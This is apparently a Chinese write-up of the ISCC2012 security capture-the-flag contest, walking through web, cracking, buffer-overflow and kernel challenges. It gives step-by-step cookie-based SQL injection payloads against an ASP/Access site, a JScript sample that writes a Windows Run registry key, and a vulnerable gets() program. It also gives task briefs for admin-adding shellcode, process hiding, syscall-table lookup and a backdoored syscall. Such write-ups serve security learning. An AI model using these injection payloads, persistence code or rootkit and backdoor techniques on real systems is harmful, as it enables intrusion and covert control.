ISCC2012信息安全对抗竞赛题目分析

难道数据库中没有您的用户名？点击这里查找

数据库MDB加密，随便一个Access密码查看工具可得密码。

第五关
密码明文的年代，用COOKIE也能搜索！疯狂的世界，我的key在哪里呢？
Key:
Get与POST防注入，只能通过COOKIE手工注入。
利用title=参数实现。为ASP+Access。手工实现。
提示key是关键字，故构造语句需要[]
搜索型注入
select * from 表 where news like ‘%1%’ order by id desc;
使用COOKIE浏览器手工注入，注意构造语句后用工具转换为16进制作COOKIE。
在上面的1处，首先构造
1%’ and 0<>(select count(*) from [key]) and ‘%’=’
这样前后刚好能够闭合，若存在key表，则会正常显示数据
而后构造
1%’ and i<(select count(*) from [key]) and '%'='
i从0开始判断，当i=3时出错，i=4时正常，有三条数据
1%' and 1=2 union select * from [key] and '%'='出现from子句错误，换种方法闭合
1%' and 1=2 union select * from [key] where [key] like '提示列数不匹配
1%' and 1=2 union select 1,2,3 from [key] where [key] like '得到显示2
1%' and 1=2 union select 1,[key],3 from [key] where [key] like '
得到key:1aHGJ47PQlguLqxv

第六关
貌似只有那些没有安全意识的人才能够做出来的题目。。推荐使用IE，当然途径很多。

?[Copy to clipboard]View Code HTML0
1
2
 

Key:JScript.Decode解密一下
var timer =window.setInterval(
function WriteReg(){
var obj = new ActiveXObject(“WScript.Shell”);
obj.RegWrite(“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISCC”,”http://www.isclab.org/script3/2012/6/12_23_34.html”,”REG_SZ”);
var IsccValue = obj.RegRead(“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISCC”);
if(IsccValue!=”")
{
alert(“来自ISCC的关照。。”);
window.clearInterval(timer);
}
}
,5000);
得到

http://www.isclab.org/script3/2012/6/12_23_34.html

即答案:the password is !@#$%234
=-=-=-=-=-=-=-=-=-=
破解关[共四关/前三关为key]

第一关
Key:无壳无保护，明文参考得到key为2012

第二关
Key:使用2012为用户名找到正确的注册码，同样无壳无保护，载入OD下断点单步跟踪即可获取key

第三关
Key:也是难到不少新手的题目，有壳保护，打算不脱壳破解，运行StrongOD插件隐藏OD，运行，bp MessageBoxA断点，弹窗，中断，堆栈回溯，回到程序领空。字符串参考即可找到key。

第四关
这是警察抓小偷的对话工具。。希望大家自己写一个程序，能够实现类似Thief端与我们提供的police实现的主要对话功能～
语言限定为C/C++。。。
提交程序源代码以及程序运行截图～
程序没有经过多方测试，bug不少，不喜勿喷。仅供学习，娱乐。。
Key:不是取key，没有做，大致看了下题目，只是有点好奇，这是破解题目？还是偏向逆向工程吧…
=-=-=-=-=-=-=-=-=-=
溢出关[共两关/第一关为key]

第一关
小妹妹记性差，我给她做了一个简单的密码验证程序，需要输入正确的密码，才会显示正确信息，这一天，她倔脾气上来了，非要输入“ISCC2012”这个密码，去通过验证，我觉得这明显不行，但是当她输入自己的英文绰号后竟然过了。。。那你猜她的名字至少有多长。。。
程序源代码如下:
#include “stdio.h”
#include “string.h”
int main()
{
int isPassed;
char yourname[20];
char answer[10];
char password[10] = “woshimima”;

gets(answer);

isPassed = (strcmp(password, answer) == 0) ? 1 : 0;

gets(yourname);//注入点，要在这里让程序溢出，让isPassed为1

if(isPassed)
printf(“You got it, %s!\n”, yourname);
else
printf(“Hey %s, u may try again!”, yourname);

getchar();
return 0;
}

Key:记得是0day安全书中的例题？OD跟踪调试，得到21位数字恰好覆盖。

第二关
想要一段shellcode。。。
主要功能：使用cmd添加名为xkjcf的用户，并将该用户添加在administrators用户组中.
系统环境:Windows XP Professional 版本 2002 SP3
啥叫shellcode呢?
内存中的数据就是许许多多的01010101010.。。。。。。。。当作字符来读，他就是字符；当作程序执行，他就是程序。那么shellcode的就是一个以code形式写入内存，但是以shell身份运行的二进制码呦~~
Key:提交题目，没有做。不过不难，也算是经典例题。
=-=-=-=-=-=-=-=-=-=
内核关[共5关/第一关为Key]
第一关
过关密码就在内核里，编写用户态程序把它读出来吧~
提示：可以使用GetFileSize查询密码的长度
Key:投机取巧的方法，C32asm发现Key为u7h0E3XvF0，题目有表示使用GetFileSize，分析后取长度为前5个字符。
以下几关把题目分享出来，不是取key题目，没有做，有兴趣的朋友可以做下。

第二关
来到内核的第二关，让我们做点儿有意义的事情吧，进程隐藏技术是内核安全里一个古老但又颇受关注的技术，Danny刚入门内核安全时第一个就拿它开刀，你来实现一个吧，在taskmgr.exe里隐藏掉explorer.exe即可。(需要提交源代码，及编译时必须的文件)

第三关
对Linux内核进行kernel exploit攻击有一个很经典的方式就是获取内核中syscall_table，然后对系统调用进行替换。
而获取syscall_table有很多种方式，比如查看System.map或者/proc/kallsyms以查找syscall_table地址，但这两种方式在很多情况下无法使用，比如系统内不存在System.map或者syscall_table在kallsyms中隐藏了而不显示，另一种方式则是通过编写一个系统模块在内核态运行时手动搜索其地址。
现在请你完成一个可以正确查找syscall_table地址的内核模块，并在加载时用printk把地址进行显示。

要求：
1.测试环境为Linux Kernel 3.0(或更高版本) x86；
2.提交一个压缩包(用tar.gz或tar.bz2格式)，包含内核模块源代码、Makefile，最终要求运行用户程序后可以显示出”syscall_table = 0x*****!”。测试流程大致如下：
(root 状态操作)
# make
# insmod sys_call_module.ko
# dmesg | grep syscall_table
然后判断该返回的地址是否正确。

注意：
通过/proc/kallsyms或者/usr/src/linux/vmlinuz查找符号索引得到的syscall_table有时可能并不正确，所以验证自己代码时不要以此为标准。

要求：提交一个压缩包，内含源代码和Makefile

第四关
Neo一直在Matrix的一个子系统Zeus中潜伏着，而且最近一个月幸运的骗取到一个Kernel贡献者的身份。
昨天，Zeus交给Neo一个任务，帮它实现223号系统调用，详细说明在内部mail list的一封邮件中。
Neo想在实现必要功能的同时留下一些日后可供Morpheus和Trinity日后使用的隐藏漏洞，现在请你帮助Neo完成创建新223号系统调用的任务，实现的系统调用功能细节不需考虑，只要能使用户正常调用即可。
现在假设Zeus的内核为x86的Linux Kernel 3.0，并且32位Linux内核并未给223系统调用号分配实际的系统调用函数。你需要把要求的syscall实现成一个可以动态加载内核模块，系统调用格式及部分内容如下：

asmlinkage int neo_syscall(void) {
printk(KERN_DEBUG “In neo_syscall!\n”);
/* test the return value */
return 223;
}

要求：
1.需要以动态加载模块的形式增加此系统调用，不允许修改内核源码；
2.系统调用函数的代码只要使用上述代码即可，不需考虑其他细节；
3.编写用户空间程序以测试该系统调用是否可用，测试程序如下：

/* user_test.c */
#include
#include

int main()
{
int ret = 0;

ret = syscall(223);
printf(“return value = %d\n”, ret);

return 0;
}

4.测试的环境为Linux Kernel 3.0(或更高版本) x86；

5.提交的文件为一个压缩包(用tar.gz或tar.bz2格式)，包含neo_syscall内核模块的源代码、Makefile、用户程序(即3中提供的代码)，最终要求运行用户程序后可以显示出”In neo_syscall!”（printk进行DEBUG级别显示即可，不一定要输出到stdout）。

测试流程大致如下：
(root 状态操作)
# make
# insmod sys_call_module.ko
(普通用户状态操作)
$ ./user_test
$ dmesg | grep “In neo_syscall!”

提交:
一个压缩包，内含源代码和Makefile

第五关

该驱动实现了一个workqueue（具体参考ExQueueWorkItem函数），工作队列线程会每隔1秒钟输出一次，打印出自身函数地址。
假设你不知道该函数地址。请根据workqueue在内核中的实现，找出一种方法，可以列出第三方驱动加载后创建的workqueue的真实函数地址。
以这个驱动为例，只需一种系统即可。
=-=-=-=-=-=-=-=-=-=
真实关[共两关]
非取key题目，给出两个目标，提交渗透报告与视频。因为服务器比较慢，没有做。
=-=-=-=-=-=-=-=-=-=
Summary:
有些题目蛮不错，能让自己找下欠缺的知识。不过可能由于时间等问题，竞赛方管理组织方面还有待做得更好。